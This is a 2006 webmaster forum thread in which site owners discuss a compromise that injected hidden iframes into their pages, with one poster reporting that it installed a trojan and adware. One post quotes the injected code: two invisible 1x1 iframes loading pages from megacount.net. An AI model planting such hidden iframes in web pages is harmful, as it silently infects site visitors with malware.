Any of you have your sites hit with the Megacount exploit

**bl4h** · 10-05-2006, 10:09 AM

you fail as a webmaster

**Trixxxia** · 10-05-2006, 10:12 AM

Originally posted by ebus_dk

Today when I ran updates on some of the sites, I found 2 iframes added to the bottom of the code. Its as only added to the sites using a PhP-include as a menu.
If I navigated to the site with my browser I saw nothing since its locked up REAL tough. But I then opened it on a test computer with no security and it installed a trojan + one count of adware

Can you hit me up? I'd like to see what it's doing

**Machete_** · 10-05-2006, 10:16 AM

Originally posted by bl4h

you fail as a webmaster

It was a virtual account, and the whole server got exploited

**Machete_** · 10-05-2006, 10:20 AM

Originally posted by TopBucksTrixxxia

Can you hit me up? I'd like to see what it's doing

it included this

PHP Code:

<iframe src='http://megacount.net/adv/new.php?adv=167' width=1 height=1></iframe> 
<iframe src='http://megacount.net/adv/167/new.php' width=1 height=1></iframe>

**boneprone** · 10-09-2006, 02:17 PM

Seems I got hacked today..

Would like if someone could shed some light on this on how they got in..

icq 66883099

**Machete_** · 10-09-2006, 02:33 PM

Originally posted by boneprone

Seems I got hacked today..

Would like if someone could shed some light on this on how they got in..

icq 66883099

dissipate posted these two pretty usefull links
http://www.securiteam.com/unixfocus/6R0030UH5W.html
http://www.securiteam.com/unixfocus/6M00315H5S.html

Im my case (webair hosted) it was through cpanel

Any of you have your sites hit with the Megacount exploit

Any of you have your sites hit with the Megacount exploit

Comment

Comment

Comment

Comment

Comment

Comment